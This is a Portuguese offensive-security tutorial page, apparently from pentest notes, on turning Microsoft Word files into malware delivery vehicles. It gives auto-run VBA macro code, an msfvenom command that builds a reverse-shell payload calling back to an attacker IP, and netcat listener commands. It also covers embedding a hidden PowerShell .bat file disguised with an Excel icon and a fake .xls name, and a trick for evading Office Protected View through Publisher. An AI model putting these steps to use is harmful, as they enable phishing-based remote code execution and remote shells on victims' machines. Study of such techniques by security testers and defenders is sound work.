Office Word

Macro (RCE)

Crie um arquivo word (de preferência com a extensão .doc ou .docm) e depois acesse suas macros na tab View > Macros > View Macros. Selecione para salvar a macro no próprio arquivo (na parte de baixo do popup), e depois clique em Create. Feito isso, irá abir uma nova janela com uma macro já escrita (código este, sem funcionalidade, pois é apenas para demonstração), então utilize o código abaixo para gerar a macro maliciosa, alterando é claro, o comando que deseja que o host alvo execute, que está localizado na variável MyPayload.

AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    EvilMacro
End Sub

Sub EvilMacro()
    Dim MyPayload As String

    MyPayload = "<Aqui irá conter o>"
    MyPayload = MyPayload + "<código que será executado no>"
    MyPayload = MyPayload + "<host alvo>"

    CreateObject("Wscript.Shell").Run MyPayload
End Sub

A função AutoOpen serve para executar a macro assim que o arquivo for aberto, enquanto o Document_Open serve para executar a macro mesmo se o Word já estiver aberto, então caso alguém clique em Abrir e selecionar o nosso arquivo malicioso, a macro irá ser executado da mesma forma. E por último, temos EvilMacro, que é onde contém de fato a execução do código.

Alguns pontos importantes devem ser notados aqui. O primeiro dele é que, assim que o usuário abrir esse arquivo pela primeira vez, a macro não será executada. Isso porque o Word bloqueia isso por padrão, então o usuário terá que clicar na barra superior informando que realmente deseja executar a macro. Isso é algo muito comum de acontecer, então as pessoas geralmente permitem a execução de macros, devido ser um recurso útil (e é claro, perigoso).

Outro ponto é que, não podemos utilizar variáveis com mais de 255 caracteres no VBA, então por isso dividimos a variável MyPayload em várias linhas, concatenando o seu conteúdo para termos mais de 255 caracteres.

Criando Payload Malicioso

Para isso, podemos utilizar o msfvenom para gerar nosso payload e pegarmos uma reverse shell com netcat.

sudo msfvenom -p windows/shell_reverse_tcp LHOST=<ip_atacante> LPORT=<porta> -f hta-psh -o <file.hta>

Como dito, o VBA não irá aceitar strings com mais de 255 caracteres, então devemos quebrá-la em partes. Abra o arquivo .hta gerado com o comando acima e copie somente a parte powershell.exe -nop -w hidden -e <base64>, e quebre-a em partes utilizando o link abaixo (sessão Python), para ver como automatizar essa quebra de strings.

Feito isso, basta alterar o script acima, lembrando de alterar o script do Python para que fique com a variável com o nome MyPayload (caso esteja seguindo este passo-a-passo).

Agora, abra um listener com o netcat utilizando o comando abaixo e espere que o arquivo malicioso seja executado no host alvo.

nc -nlvp <port>

OLE (Object Linking and Embedding)

Neste cenário de ataque, é incorporado um arquivo de lote do Windows em um documento do Microsoft Word. Ou seja, vamos inserir um arquivo .bat dentro de um arquivo docx.

Primeiro crie um arquivo <file.bat>, com o contéudo abaixo. Note que estamos usando o mesmo payload criado no exemplo anterior, através do msfvenom.

START powershell.exe -nop -w hidden -e <base64>

Agora crie um arquivo word, depois vá na aba Insert, depois clique em Object (está na seção Text). Ao abrir o popup, clique na aba Create from File, e selecione o arquivo .bat gerado anteriormente, clicando no arquivo Browser. Clicando em Display as icon, irá aparecer um botão abaixo com o nome Change Icon, que nos leva a um novo popup. Selecione o ícone de algum outro software (pode ser o ícone do Excel, para parecer algo mais confiável), e altera o nome para algo como controle.xls (novamente, para parecer algo mais confiável).

No terminal Linux, abra um listener com o comando abaixo:

nc -nlvp <port>

Agora uma reverse shell será criada no netcat assim que o arquivo .bat (que está se passando por um xls) for executado.

DICA: Quando um arquivo word/excel é baixado da internet, o Office automaticamente habilita o Modo de Exibição Protegido, para proteger contra esse tipo de ataque. Uma maneira de driblarmos isso, é fazermos o mesmo processo de criar um arquivo malicioso utilizando o Publisher (é basicamente igual o word o processo de criação), já que este não possui mecanismo de defesa. O lado ruim disso, é que poucas pessoas instalam/usam o Publihsher.

Last updated